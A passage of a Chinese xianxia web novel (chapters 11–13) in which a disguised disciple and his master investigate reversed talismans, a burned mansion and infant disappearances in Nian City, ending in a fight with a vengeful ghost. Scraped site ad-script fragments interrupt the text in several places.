刘大哥谄媚的脸凑近,宁归砚忍了忍才没后撤,只是微笑着伸出一只手。 对方的眼睛顿时如同那店外挂的大红灯笼。 “三,三十斤?” 宁归砚顿了顿,摇摇头。 “三,三百!” 见身前的瞎眼青年点了头,刘大哥欣喜若狂,脸上笑出的褶皱将先前的不满全部覆盖。 宁归砚从腰侧将荷包拿出来,颠了颠从里面拿出几锭银子放在刘大哥手上。 林言言见状拉住宁归砚,宁归砚拉住她,摇了摇头,随后与那刘大哥商讨事宜去了,倒也是套了不少话出来。 “实话实说,整个廿城,养羊的也就只有我一家,你可别不信,这羊啊,我养很久了,个个皮毛都紧实漂亮的很,城内那些大户,都爱往我这来!” “当然,也不止羊毛,公子需要什么东西,我都可以帮您弄来,童叟无欺!” “公子若是需要看看,我这就去取一些来?” 宁归砚脸上的笑意更深:“不必麻烦了,我随大哥一起去吧?” 他说完,身后的季宿白动了两步,显然也是要跟着去。 刘大哥的笑淡了很多,多是惭愧和忌惮,思索一番才叹一口:“这,唉,公子有所不知,最近村里丢羊,可我的棚子围栏都好好的,没有什么损坏,城里又闹那档子事,我心里头害怕,请了大师,圈内都张贴了大师的符篆设了阵,怕公子进去了,要真有什么东西,会冲撞了您。” 说着,目光越过季宿白,颤了颤,才放在两人身后疑惑看着他的林言言和景弗身上。 他们从宗内挑选的那两柄剑一柄可化长鞭,但另一柄坦荡荡被景弗背在背上,剑柄上都是繁复瑰丽的符文,自然引人遐想。 宁归砚顺着他的目光看过去,了然。 “无事,我以前只在小妹口中听闻过那样奇异的阵法,倒是想见见,不妨我随大哥去?毕竟先前被人欺骗,总归是不放心。” 刘大哥眼珠子转着,片刻后拍板:“行吧,那,那公子能叫你家侍卫留在这吗?” 他指了指季宿白,立刻后撤几步招招手叫宁归砚跟上去。 宁归砚愣愣,扭头将手中的玉笛一转,眯了眯眼对季宿白颔首:“那,小季,你别跟来了。” 说完,和那春日花一样洋洋离开了。 刘大哥的羊圈不远,离得近了就闻见刺鼻的味道,似乎还掺杂着一些香火气息。 还没仔细辨别,刘大哥就打开了圈门,招呼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宁归砚过去,却忽然变了脸色,拿上手边的木棍子就越过宁归砚骂骂咧咧。 “你个犊子的,不是叫你远一点远一点吗?去去去,挺着个肚子还来这里,没看见门口挂着符吗?你毁了我的阵怎么办?” 宁归砚听得心头郁结,他看过去,瞧见一脸疲容的妇女手上拎着篮子,她发丝有些散乱,衣服上的补丁不少,停着肚子,被刘大哥骂了一声后,羞红了脸,将篮子往对方怀里一塞,说了什么。 那女人的孕肚过分显眼,宁归砚看了两眼,手里捏着一张下山时拿的符篆,几秒后在手中化为粉霁,随后他上前去,抬手在刘大哥肩膀上拍了拍,又似不经意将手里的玉笛掉落。 那妇人忙将其捡起:“公子,你的东西。” 宁归砚笑着接下,指尖摸过的地方冰寒:“多谢!” 那小娘子低头摇着,朝羊圈内瞧了一眼——羊圈不算高,里面只有一个男人,这娘子大概是在看他。 匆匆几眼后,她转身对刘大哥叮嘱:“刘大哥,麻烦你帮我给我丈夫了,我先走了。” 她匆匆离开,因为身体不便,走得难免有些难看。 “哼。” 刘大哥冷哼了一声,转头又对宁归砚抱歉。 “让公子见笑了,这是我圈里那位的娘子,不懂什么礼数,没冲撞您吧?” 宁归砚低头看他点头哈腰的样子,抿了唇:“无事,不过... ...城里的事情我有所耳闻,她... ...” 刘大哥一脸晦气:“可不是吗?那事传得沸沸扬扬,官府也管不了,根本抓不到人,肯定是游荡在夜间的脏东西掳走的,估计都没了,哪能找到半个尸身。” 他指了指圈内的男人:“就我雇的那位,最近都不敢见他娘子了,整日呆在我这里,眼看着就要生了也不回去,怎么说也是发妻嘛,就算真会撞鬼,也趁着白天回去瞧上一眼。” 宁归砚应和着他点点头,从荷包里又拿出几锭银子:“您的羊我瞧见了,本想着和您进去看看的,但身体不便,您也瞧见了,我自然是信您了,可否麻烦您托那位大哥帮我送些样料去我暂住的地方,事成后,我再将剩下的给您?” 刘大哥一听哪儿不愿意,开口就答应了,兴冲冲地将人送到村口和其余三人汇合。 送别了刘大哥,宁归砚感觉到身后的寒意,直了肩膀转过身:“这村内有临产的女子。” 他抬了抬手,手上的刺寒依旧还隐隐存在。 “相较于那位刘大哥,身上怨气很重。” 季宿白收了视线:“可见到圈内阵法了?” 宁归砚只匆匆瞥了一眼,以往他是对那些个符篆什么的不懂分毫的,但为了完善他这‘大师兄’的完美人设,整日捧着那几本基础的书看,多少能看明白一些了。 “没进去细看,但外面贴的符纸大都杂乱无章,甚至有些已经破损,若是那大师有几分本事,恐怕外面的也只是障眼法。” 季宿白:“所以你就回来了?” 宁归砚知道他要责怪,笑笑:“他会送东西到客栈来,到时候,师尊想要知道什么不行?” 季宿白默了声,转身挥袖。 “将你身上的怨气洗干净。” 11. 我有个姨娘 刘大哥雇佣的那位兄弟很快就送了东西来,满满一袋子,来时不是宁归砚见到时那副窘迫的模样,身上的衣服换了一身,倒有些像新的。 他老老实实地将东西放下,见宁归砚打开来满意地笑了笑,心里头的石头落下。 “公子您可满意?” 大概是来时那位刘大哥说了什么,男人的表情有些谄媚,但看向一旁的季宿白时,又露出些许惊慌恐惧,想必是被某个故事给吓得不轻。 宁归砚装模作样将送来的那些羊毛料子瞧了两眼,手上揪下一块,手上轻轻捻搓着:“不错,刘大哥家的羊毛,也是极好的... ...” 他顿了顿,笑眼看向身前低头的男人,起身将人弯下的背脊抚平。 “大哥不必拘束,村里到城内的路也不算短,一路奔波,也口渴了吧?” 宁归砚倒了杯热茶捧着,双手递上:“喝点茶?对了,我姓宁,您叫我小宁便好,还不知道大哥怎么称呼?” 大抵是没想到宁归砚如此不拘小节,男人便也没了那份拘束,憨笑着接过茶:“我叫张大壮,公子想怎么称呼都可以。” 宁归砚弯眼点点头:“张大哥。” 张大哥像是没反应过来,愣愣应了声。 身后手指敲击桌面的频率不断加快,宁归砚回头看了眼,被季宿白泛冷的眸光给冻着,他回过身,进入正题。 “对了,我今日在外面看见大嫂了,看样子,怀胎已经快足月了吧?是不是快生了?” 此话一出,张大大壮的表情凝滞了几秒,先前客气恭敬的神情一转有些复杂。 “啊,啊,对,应该是快生了。” 说话的语调也有些僵硬。 宁归砚的目光在他脸上随意扫过。 “那大哥应该是有认识的稳婆吧?我来此寻亲,正巧家中的姨母也需要接生,只是这城内的稳婆都推脱,张大哥可有认识的?” 林言言和景弗在门外偷听,闻言忍不住笑出来声,感觉到门内的人影晃动,林言言又立刻捂住嘴,睁大眼睛拉拉旁边靠在墙边景弗的袖子。 “师弟,师弟。” 景弗低头瞧了眼抓住他衣袖的手,最终没有拍开,淡声回答:“怎么了?” 林言言又忍不住弯眼;“师兄他好会编啊,之前是寻亲,现在是找稳婆,我们哪儿找那么个亲人啊?哈哈。” 景弗也没扫她的兴致,点点头“嗯”了一声:“好笑。” 林言言顿时无言以对,嗔着瞪了景弗一眼:“你真没趣,明儿把城里作乱的东西捉到了,师姐带你去玩,免得你闷成师尊那样的。” 景弗:“... ...好。” 门内,张大壮的表情更加错愕了,他打量了一下宁归砚,眉心就皱得更厉害。 迟疑半晌,他朝季宿白那边看两眼,欲言又止。 宁归砚看出他的犹豫,开口询问:“张大哥,怎么了?是不方便介绍吗?” 张大壮将茶杯放下,摆手摇头:“没有没有,只是,只是... ...” 他叹了口气。 “宁公子还是去别处找吧,也快快离开廿城,城里的风声您应该也听过,很多大富贵的人家若要生产,都是去隔壁城内接生的,若是来得及,您和您的家人也可以过去,总之,万万不可在城内生产,若弄不好,可就,可就... ...” 宁归砚也随着他的话略微无奈:“若是可以,我们便也那样做了,但时间上恐怕赶不及,而且家中小妹也在山中学过几年驱灾灭邪的本事,多少能应对一些,所以就不打算再奔波了。” 他似若无意地提起这茬,张大壮的目光便灼热地烧了过来,他双手紧紧抓住宁归砚的手,浑浊的目光顷刻清明:“公子,公子,刚刚是说?” 他想抓住了什么救命稻草似的,抓着宁归砚的手,眼睛边缘泛起了红,话落就跪下抬头恳求。 “公子,公子有法子对付那鬼邪?公子可是有法子?” 张大壮的语气激动,偶有磕绊,嘴唇颤抖视线落不到实处。 “我,我知道我不该,但公子若是有法子,我求求公子,救救我家娘子吧,救救她吧!我就那么一个孩子,您救救我的孩子吧!” 宁归砚忙将人扶起:“张大哥这是做什么?快起来快起来。” 他将人扶起,安慰着:“若是能帮,我自然会帮忙,只是大哥的意思是?” 张大壮被扶到一旁的椅子上,他摸了摸泪垂着脸。 “实话实话,我妻子已经有半月未能睡好了,整夜整夜地做着噩梦,问她梦见什么,她也不说,只是一个劲的哭,之后刘家,就是卖你们羊毛的那位,他不知道找那寻来一个道士,在羊棚周围贴了一堆符纸,还不准怀孕的妇人进入,他走前,我妻子偶然来送饭菜,被撞见,那人便说!说... ...” “说我家娘子怀的孩子是引魂胎!生下来就要被鬼邪缠上!” “我,我没有办法,我害怕,之后就没回过家,刘大哥人好,没说出去,我们才能在村里呆着。” 宁归砚挑了挑眉:“道士?那羊圈外那些符纸,都是他贴的?” 张大壮点点头:“对的,听说能驱邪,我帮忙喂羊,手上也得了一张,怕我染上什么怨气引来了鬼怪,而且圈里总是丢羊,听说,就是那鬼邪偷走的,就偷些母羊,也不知道是做什么,晚上就是整夜不睡,也能丢。” 宁归砚若有所思;“这就奇怪了,张大哥,能看看那符篆吗?” 闻言,张大壮在衣襟内找了找,拿出一张略微褶皱的黄表纸,上面的确画着符文,符文组合起来,也确确实实是驱邪的咒法。 宁归砚接过,侧身捏着,皱了皱眉,将气翻转,随后问道:“这符,哪面是正?” 张大壮“嘶”了一声,忽而想起,指了指宁归砚看着的那面:“那大师说,符文偏上为正。” 宁归砚又问:“这符篆,何时给你的?” 张大壮:“是刘家当家的给我的,他见我整日在棚内,怕我出事,就给我这个护身。” 闻言,宁归砚将东西收好交还给张大壮,笑笑道:“我也略懂一些,这符文大抵是有用的。” 说着,他侧目看向一旁站起来的季宿白,对方在瞧见那符篆后就变了脸色,此刻的神情有些危险。 宁归砚又和张大壮说了几句家常话,套到了他妻子所在的地址,随后让林言言他们送人回去了。 等人走了,关上门,宁归砚脸上的笑意倏然减半。 如果他看的那些藏书没有记载错误的话,刚刚拿在手里的符篆,可是反符。 别说驱散鬼邪了,没把东西引来都是好的。 那羊棚,是个巨大的怨气养殖场啊,可为什么没死人呢? 季宿白走到他身边,低头在宁归砚那张嘴上扫了几秒,忽地笑了一声,不冷不热:“你倒是会说话,和他人嘴里的,也有些优势。” 宁归砚一听,垂下的手抬起,拿起旁边的茶盏细抿了一口,掩住内心的慌张:“那符文是反的,想必是找对了人,只是听他的说辞,给他符文的是刘大哥,而那位道长,恐怕早早就离开了。” 季宿白收回视线:“那人身上怨气很重,但不像是身上符篆引来的,倒像是,日积月累沾到的。” 宁归砚瞬间明了:“他能见的,除了那刘家的,便是... ...” 两人在屋内不知道又说了些什么,林言言回来的时候,拉住在一边守着的景弗,刚要问,门就开了,季宿白说了句“明天早起”后就离开,身后跟着的宁归砚脸上挂着笑,却是勉强。 林言言乖巧地应了季宿白的话,等人大步走出去,拉着景弗凑到宁归砚面前。 她抿唇笑笑,脸上都是好奇:“师兄,明天我们要去找那作怪的邪祟吗?” 宁归砚垂目在两人相交的手上瞥了眼,心里有点怪异,但也没去阻止,而是跨出步子,在景弗身上停了片刻。 “还没到时候,先去休息吧,明早我们去郊外,路上再详说。” 宁归砚转身,回了自己的客房,叫店小二换了壶茶,坐在椅子上靠着窗,看向楼下通明的街道,可除了一些游荡着的乞丐,再无其他身影。 半晌,他叹了口气。 “偏偏又拉我去。” 说着,从腰侧拽下来一块玉佩,和林自潜的那块不同,是块黄玉,季宿白给他的,给时嘴上说的格外漂亮。 “带着它,里面有保命的阵法, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当然,如果你快死了,我会知道。” 说的好听,是护身玉,给他的甜头,说的不好听,手指一动就知道他在哪儿了,这是怕他跑? 难不成上次在山顶,他看见了?啧,不会真以为我是魔族派来的卧底吧... ... 没人给宁归砚答案,他便垂眸在街头又瞧了好一会,遽然那张愁云密布的脸上露出狡黠的笑容,随后屋内的灯被熄灭,传来不易察觉的关门声和压低的脚步声。 像是刻意做戏一般鬼鬼祟祟的动静。 廿城不似天一山那样冷,宁归砚不用多加衣服,穿着一身便装就下楼了,走到距离客栈稍远一些的尽头,在墙角处看见一缩着身子玩弄手里破烂玩意的孩子。 那孩童年纪不大,但也是能知事的年纪了,见宁归砚款步走过来,起身就要离开。 “你跑什么?怕我打你?” 宁归砚叫住人,对方转身,脸上的淤青瞩目,手臂上的——更是衣服都遮盖不住。 宁归砚走近两步,那孩子一脸警惕地看着他:“你是谁?你要做什么?我没偷你东西,别找我,不然我揍你了!” 宁归砚偏了偏头,笑出声,从身后摸出一个纸包,他将纸包打开,里面热气腾腾的包子格外诱人。 墙角的乞丐立刻就忍不住滚了滚喉咙,看着包子凑近,又忽然警惕,后撤几步拿起旁边的一根木棍。 他挥着棍子:“你想骗我过去再打我吗?不可能!” 宁归砚耸耸肩:“你瞧着我,是能打得过你的样子吗?” 宁归砚和一个普通成年男性想必是格外瘦弱的体格,除了个子高也没其他优势了,特别是那张看上去就有些好欺负的脸,若是真打起来,还真不一定能打得过那小乞丐。 宁归砚颠了颠手里的包子,又掏出几个铜板:“我问你个事情,问完就走。” 小乞丐往他手上瞧了瞧,咽口水的声音有些大,几番纠结之后,他一步步靠近:“都,给我?” 宁归砚笑着点头:“当然。” 小乞丐又看了他几眼,伸出一只手迅速将宁归砚手上的纸包拿过来,打开就将包子往嘴里塞,狼吞虎咽吃了一嘴的油,看样子饿得不轻。 他吃完一个,将其他两个塞进自己脏乱的衣襟内,随后又迅速抢过那几枚铜钱,将腿边的木棍牢牢抓在手心。 “你要问什么?” 小乞丐擦了擦嘴问。 宁归砚拍拍手,偏过身朝不远处的店铺口看。 他问道:“这城内,失踪的婴儿,都是哪些家里的?这消息,最初是谁说的?你应该知道吧?” 小乞丐数铜钱的动作停住:“你,你问这个做什么?” 宁归砚又掏出几枚铜币:“这廿城内,除了官府的,知道最多的不就是你们,每天在其他人嘴里听得也够多,只要你说,我手里这些,也是你的。” 小乞丐看着自己手上的,又看看宁归砚:“你先说你要做什么。” 宁归砚也不避讳:“我有朋友可能被那东西捉了去,找不到尸身,说不定活着。” 这话实在是有些天方夜谭了,至少在小乞丐眼里是这样的,他将铜钱都收下,一边说一边提醒。 “我说了你可别怕。” “其实这事情不是最近才传开的,城内有鬼怪的传闻很早之前就有了,我从爷爷哪里听说,最开始是庄家的孩子丢了,那日生产的庄家六姨娘还死了,听说丢的就是她的孩子。” 宁归砚找到惑点:“早年?多早之前,期间相隔内,没有孩子丢过吗?” 小乞丐否定道:“二十几年前了,那时候我还在娘胎呢呢,期间好像没有丢过孩子,但也有噩梦缠身的怪事,请过大师做法,好了一阵又开始了,最近才严重的。” 他放低了声音。 “而且,我听说,那庄家,全家都被灭门了,突然起的大火,一个都没活下来!” “之后有人说他碰见那东西,听见好一阵铃铛声,庄家被烧毁的那夜,也是响了一夜的铃铛。” 宁归砚喃喃:“铃铛... ...” 两人在转角又小声聊了一会,问得差不多了宁归砚将手里的东西扔出去。 “带我去庄家。” 12. 庄府,无一幸免 小乞丐得了许多好处,对宁归砚也没什么恶意了,擦擦手上的油就往左指了指:“在那边,我带你去?” 宁归砚随着他指示的方向看过去,是通往外郊的路,路上挂的灯笼少,因此昏昏暗暗的看不清路。 两人没入了黑暗,宁归砚从储物袋内拿出一盏煤油灯,前方的路被照亮了部分。 以前没来过这边,去了才发现这块的房屋大都是弃置的,甚至有些屋檐已经破损,里面住的大都是些乞丐,看起来是他们的大本营。 宁归砚快步往前拉住小乞丐,对方一抖,警惕地看着他。 “我又不打你,你抖什么?怕我给你兜里藏的那几个包子给抢了?” 他拉住小孩的后脖领,将人的脚步往后拽上一拽。 “你不能体谅一下我这个病弱的人吗,走那么快是要把我送走?” 小乞丐冷哼一声:“你事情真多,抓我干什么,我慢点走就是了。” 宁归砚心道这小孩脾气真大,却架着一副大哥哥的模样试探着问:“那我不碰你,总生气不好,不过你带我往庄家去,还需要多久?是在近郊?” 小乞丐点点头:“对啊,就在近郊,那快几乎都成废墟了,根本没人去,就算去了,也会被吓出来,听说也闹鬼,走进去就找不到路,可能还没出来,就被活活饿死在里面了,玄乎得很!” 宁归砚便又好奇了:“从来没有人出来过?” 小乞丐低着头,像在思索:“也不是,之前有个老婆婆进去过,没多久就出来了,有人问她怎么出来的,她说她眼睛瞎,瞎走出来的。” 宁归砚:“老婆婆?” “对啊,是个疯了的,嘴里天天念叨着我们听不懂的话,就住在庄家附近,大概是疯了,所以才不怕吧。” 小乞丐说到这,宁归砚就没再多问了,但对方却是分享欲爆棚。 “我爷爷说,庄家以前还挺大户的,他们死的那个六姨娘,就是被抢过去了,势力也不一般,现在被灭了门,大概也是报应。” “那个生下来就死了的孩子,听说还是嫡子呢,要不是这事,早飞黄腾达了,那能最后上吊自尽啊。” “反正那些大户人家都仗着自己有钱,为所欲为,黑的也能被唱成白的... ...” 宁归砚看了看自己身上唯一好的衣料,摸了摸空空荡荡的荷包,将自己排除在那些大户人家之外。 两人走了一段路之后,宁归砚手上的煤油灯被一阵凉风吹得荡起,灯内的火焰也偶尔晃动,像忽然暴怒的人一般,摇曳托拽好生鲜活,风再大一点,火星子都能糊脸上了。 庄府的牌匾已经掉落,门上的蛛网错落开,竟也将那方小区域给遮挡得严严实实,眯着眼睛也瞧不见里面一二的画面。 手上的煤油灯彻底熄灭,旁边的小乞丐哆嗦着手缩了缩肩膀,扯了扯宁归砚的衣袖,语露胆怯:“那个,到了,你要进去的话还是算了,我要回去了,这里阴风阵阵的,怪吓人的。” 宁归砚低头看他,浅浅笑着,面上竟然无一丝害怕:“那你回去吧... ...” 说着,小乞丐转身的时候,又被他给叫住。 “等一下,”宁归砚叫住人,从腰侧搜寻出一张符篆,在微弱的月光下,和夜里张大壮显露出来的那张一般无二,只不过一张是反符,一方是正符文。 天一山什么都不缺,特别是这种基础的符篆最为不缺,宁归砚见得多了,也能画出来几张基础的,虽然作用没有其他人的大。 “这东西随身带着,多多少少能替你挡一些怨气。” 小乞丐一听,瞪大眼睛打量起面前这个柔柔弱弱的青年,目光立刻变得崇拜:“你是道士?” 宁归砚喉头一哽:“差不多,半个吧。” 有可能道士都不如呢。 小乞丐也没再多说,庄府前的风越发盛了,他更不敢多停留,要不是宁归砚给钱,打死他他都不来的。 于是收下符篆匆匆揣进腰间绑带中后便快步离开了,末了还让宁归砚别死了。 宁归砚笑着看那小孩离开,这才转身没入身前的宅府大院,他抬手将那些蛛网拂开,粘连在网上的灰尘便呛得他咳嗽半天,咳久了还隐隐有些缺氧。 他抬手抚着自己的胸膛,浸了泪的眼睛抬起,叹息一声。 “这身子,居然能活到现在。” 这得吃多少灵丹妙药啊。 他叹息一番后,在浅淡的月色下打量这座已经废弃多年的宅院,和平常的宅院差不多,但周围都是被焚烧过的痕迹——除了一条泛黑的椅子,焦枯的刺鼻气味,还有正厅前缺了半扇的不规则的门。 这宅府不算大,却是半个人都没跑出去。 宁归砚弯腰将脚边的缺失的那只椅腿拾起,手上被染了些许的黑色,随后他将椅腿在地上划过几步,丢下,看着画出来的符文,低头笑了一声,那阵法便亮起,随后几缕莹光将周遭点亮。 他心里暗自感叹:看来他天赋异禀。 有了亮光后,视物便也将没有那么艰难,宁归砚往正厅走几步,临到门槛前,脚被东西绊住,他低头一看,脚上一顿,手指在衣摆上紧紧捏了几下,随后视若无物地越过。 可越往里进,方才碰见的骷髅头或者骨头一类的东西就越发多,甚至进了屋子,反而觉得耳侧的风更大了,隐隐要将宁归砚腰侧的玉佩吹得翻起。 腰侧的玉笛被他拿起,几息间化为一柄青玉色的长剑,然后宁归砚又从储物袋里拿出一个圆盘。 下山时他准备得充足,就怕一个不慎自己噶了,多得不偿失,所以能保命能指引的东西都拿了下来,甚至把全部银钱都带上,准备随时跑了。 手中的圆盘落在手心便开始剧烈晃动,指着不断转着圈,几番之后速度降下来。 待指针在右手边隐隐要停下来时,那边的东西已经不再隐藏,一道风刃倏地打过来。 宁归砚瞪大眼睛,两指一转就要从储物袋里拿出东西来保命,可东西还没来出来,便忽地腾空。 腰侧被一只宽大的手掌捏住,他侧目看过去,只来得及瞧见季宿白那张毫无表情的脸,随后便被迅速带离正厅,两人跃至厅外,季宿白的那柄法器便将庄府的厅堂给轰了个对穿。 人还没反应过来道谢,腰侧的手一松,脚没落地,宁归砚就被一推,直愣愣地摔在了地上。 宁归砚:难怪快两百岁了还是单身呢,我真服了,有这么救人的吗? “轰”一声后,本就残破不堪的屋子轰然倒地,碎瓦残木横了大块的区域,掀起的灰尘再次铺了宁归砚一脸。 “咳咳咳!” 他眨眨眼捂鼻,就见‘罪魁祸首’一个转弯朝一侧刺过去,尖利的风啸声后,一道风刃将尘埃又掀起,比之前更甚,睁开眼几乎都看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不清身旁的人影。 宁归砚手里震动的圆盘忽然冷静下来,他拍拍身上的灰尘站起身,季宿白已经不知道去哪儿了,等周围的视线明晰了,先前被毁坏的房屋却如同从未有人来过一般完整了。 宁归砚心跳了跳,耳边忽然响起铃铛声,同他在那幽深的小巷内听见的一样,拉长拉长又拉长,最后成了不间断的嗡鸣。 铃铛声越来越近,手上的圆盘却是毫无动作,他转身,朝声源处看过去,忽地一声。 “汪汪汪!” 一只被套上锁链的黑狗在庄家大宅的门后激烈地吠着,将宁归砚给吓得不轻,而牵着狗的男人,肩上挂着铜锣,腰侧是一只小巧的铃铛。 很难想象那样小的铃铛,能发出那样清脆又悠远长久的声音,有些刺耳得令人陷入恍惚。 “公子,又见面了!” 打更人笑着同宁归砚招呼了声,抬起手摆了摆,他牵着的那只凶恶的狗便再次厉声叫了起来,对方拉了拉绳子才息了声音,但依旧龇着牙,看起来很不好惹。 门外是个人,是活物,但宁归砚吊起来的那颗心没下去,脸上笑着,手却晃过储物袋。 他侧过身,向打更人那边走几步,开口疑惑道:“上次见你,还是独身一人,这狗... ...” 打更人拉着手心的绳子:“夜里多事,带着壮胆,吓着您了?” 宁归砚没回答,他便朝里望了一望。 “公子怎么去这废弃的宅子,这里面的怪事不少,还是少去,弄不好,怨鬼缠身,可是个麻烦事。” 他嘴上说着,偏生神情并无惧怕,像是习惯了这种情形,不过也露出惊讶,大约是惊讶宁归砚能好好地从宅内走出来。 宁归砚停在他面前,垂眸朝打更人脑袋上的斗笠看,斗笠一看便是戴了许多年,上面的斑驳积累着,和腰间那较为崭新的铃铛似乎打不着杆子。 他抬抬手里的圆盘,收回去,将长剑挥出,剑气在一旁的地面划出一道长痕,连宁归砚自己都微微诧异,那打更人确是神情怪异,随后才摆出震惊的神情。 “原来是仙士,是我唐突了,公子随意。” 说罢,抬脚便要走。 宁归砚将手中的剑甩出,拦住了他的路,对方牵着的狗开始护起主来,但因为被人牵着,也只能无能狂吠。 青年笑笑转身,斗笠下那张脸露出,不如想象中的粗糙或者平凡,反而有些俊秀,褪去一身粗布衣裳,也是个贵公子的姿态。 他拉紧了狗,腰侧的铃铛响起。 随后他问道:“公子这是做什么,我只是个路过的打更人,见到里面有动静,想着是不是有人遇到了什么,想去看看,才能见到公子,可公子... ...” “怎的无缘无故对我出手?” 话落,那打更人周身凉风四起,像极了冰寒天地里的冷,那股压力让宁归砚心脏都隐隐胀痛。 长剑砸落在地,宁归砚捏了捏腰侧的那枚黄玉,竟然没反击,而是硬生生扛着那股压力,直到对方一击打过来,才侧身翻滚,却也伤在了腿上。 “唰——” 下一波攻击没落下,宁归砚眼睛都没来得及挣开,身周的阴风便消散了,随后是更深入骨髓的冷意,好比往他骨头里扎了根针,不用看都知道谁来了。 宁归砚来不及让对方收了神通,一口血吐出,两眼一黑又昏了。 13. 铃铛声又响 这一行也算有用,虽然一个人都没抓到,还被伤了,但是终归是有些眉目了。 至于这庄府内的东西和那打更人与天一山派下的任务目标是否一致,还需要几人去张家确认。 宁归砚晕倒里没多时,便在毫不怜惜的震颤中醒来了。 他腰间咯着东西,格外的不舒服,于是还没完全睁眼,便摸下去——是柄剑的形状,下方还有衣物的摩挲感。 “乱动什么?再动自己走回去。” 这声冷硬的警告让宁归砚顿时醒了神,他别过头轻咳一声,感觉五脏六腑都被蹂躏了一遍,特别是胸腔那块,被灌进去一股热风顺入四肢百骸似的,叫人说不出难受的地方,却偏偏满心的不自在。 等宁归砚稍稍缓了气后,便觉着腿上一阵烧灼的刺痛,愣了几秒才想起他被那打更人不知道用什么术法给伤了腿,此刻是动不了了。 可大概也算不得什么十分难缠的术法,起码另一只腿还能动,自己还生龙活虎,还觉着疼,就是不知道季宿白有没有觉得不对。 毕竟他一天一山大师兄,可不能连这点小书法都解决不了。 趴在男人背上好一会,等客栈的牌匾渐渐能看清了,宁归砚眼珠子转了转,闭上眼睛,装晕了过去。 到了客栈,季宿白并未打扰已经睡下的两人,他将宁归砚背到客房后,放在床榻上,随后将宁归砚那只被血色浸染了小半的腿抬起来。 季宿白的手掌很大,也略有些粗糙,指尖的茧触碰到宁归砚小腿上的皮肤时,宁归砚咬足了牙才没抖着缩回。 受伤处的衣料被撕扯开,宁归砚心里暗暗诅咒季宿白出门踩狗屎,以此来祭奠他的衣物,随后腿上被揉了揉,似乎是故意的,力度并不收敛,甚至愈来愈大。 宁归砚额间出了些细汗,季宿白收回手指,盯着那处伤口看了几秒,随后目光上移,瞧见对方被晕湿的发额,眸色暗了暗,手下一重。 奈何目光落点的人除了紧皱着眉头,并没有其他举动,眼睛也闭的平常,倒真像是疼的,却没装睡。 手指在伤处松开,季宿白取了个帕子擦擦手,这才开始给人疗伤。 季宿白这人看着冷,个性也冷,他的灵气则像寒地中心的寒泉,顿时就将宁归砚的腿给凝了个结实,但不至于冻坏,只是暂时消去一些疼痛感。 丝丝缕缕的灵气浸入经脉,宁归砚整个人像被无数根无形的线操控着,牵着线的那人只要稍微动动心思,他死都不知道怎么死的。 也难怪那些个小说里,灵气探体这种事情如此私密了。 只是那灵气还没继续延伸开来,宁归砚忽然一怔,心脏猛地跳动,剧烈如同要炸开一样,却也不疼,只是密密麻麻的酸涩。 这种痛苦绵长,饶是宁归砚再能忍,也克制不住地别开了脸,紧接着便听见床侧的男人冷笑了一声。 “醒了?” “别动。” 半柱香过去,宁归砚的里衣已经被浸透,他将紧闭的眼睁开,竟然也无法再说出任何一句话。 季宿白收回了手,抬手在宁归砚肩侧点了几下,疼痛稍稍减轻。 宁归砚艰难抬眼看过去,目光下移,肩膀动了动,不太舒适地盯着季宿白。 季宿白也看着他,不似平常带有审视的打量,是真真正正看了他一同,从额头到下唇,最后还是落在那被蒙蔽的双眼上,思索着什么,黑色的眸光里刻印下宁归砚不明了的思绪。 这种深不可测的目光让宁归砚觉得不适,感觉自己什么秘密都被看透了。 他张了张唇,发出气音,季宿白便扭开了目光,低眸沉默了半晌,在宁归砚以为他发觉了什么的时候,季宿白忽然出声。 “明天,随我们去郊外。” 宁归砚找回了自己的声音,眨了眨眼睛:“是... ...” 第二日宁归砚又拿上了他那拄拐当挡箭牌,就怕去了那张家,遇上鬼怪,让他先上阵。 林言言好奇地看着,过去关心:“师兄,你的腿伤严重了吗?药堂的药没有用处?我这还有一些,要不去看看大夫吧?” 宁归砚看着她,清灵地笑一声:“不用,不是什么大伤大病,时间不早了,等师尊下来,便走吧。” 林言言担忧地在宁归砚腿上看了看,犹豫一会还是点点头,帮忙搀扶着,被宁归砚婉拒。 随后季宿白下了楼,几人在客栈简单用了点早食,宁归砚也趁着吃了几块饼,起身时还有些意犹未尽。 或许是自己太久没有感受过食物的味道,又或许是那食物味道本事就不错,反正深得宁归砚的心。 季宿白随在几人身后,起身时瞥了眼宁归砚面前已经空荡荡的盘子,沉默了好一会才拂袖跟上。 张大壮给的住址就在郊外的村落内,距离那羊棚竟然也不远,再走几步,便到了上山的小路。 几人在不远处便听见一声声的惨叫,随后忽地一转,那惨叫声偃旗息鼓。 季宿白凝了神,唤出剑立刻就消失在了原地,只留下一句“速速跟来。” 等几人抵达屋前时,只能见到惨烈的景象。 张大壮的身上大大小小的烧伤,地上的灰尘沾在伤口上搅在一块,脸上也因为在地上翻滚灰扑扑的,也不知道是汗水还是泪水挂在脸上,咋一看过去,像脸颊被黑炭糊了一遍。 而距离张大壮较远的张家娘子,一脸惊惧,捂着肚子喘着粗气,脖颈上还有明显的被掐出来的红痕,她目光无神,瞧着的方位季宿白执剑同一素衣红目的怨鬼对峙着。 那怨鬼脖颈上也是显眼的红痕,痕迹已经深入了皮肤,蕴出血迹来,甚至能瞧见因为吼叫而滚动的血脉。 她不敌季宿白,显然被压制得无法逃脱,腰侧的铃铛晃晃荡荡发出的刺耳声音伴随喉咙间发出的嘶哑呼唤让众人有些头晕目眩。 宁归砚迅速捏出一张符篆,抓住已经有些恍神的林言言和景弗,将两人往后一撇。 “静心咒!” 说完,一道风刃直冲冲朝着他脚下来,因为躲得及时,也只留下深陷的土壤。 “啊——” 那怨鬼发出一声惨叫,右手被季宿白贴了张符篆,那处的皮肤便开始冒出烟来,滋滋一阵声响。 宁归砚原地放了个护身符,结印设阵,虽然指法动作都生疏,但好在在下一个风刃扫过来时将身后的人牢牢护住。 他侧身躲开那怨鬼的攻击,抬头看了眼对方的眼睛,心里落空了一阵,随后侧身将法器唤出, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 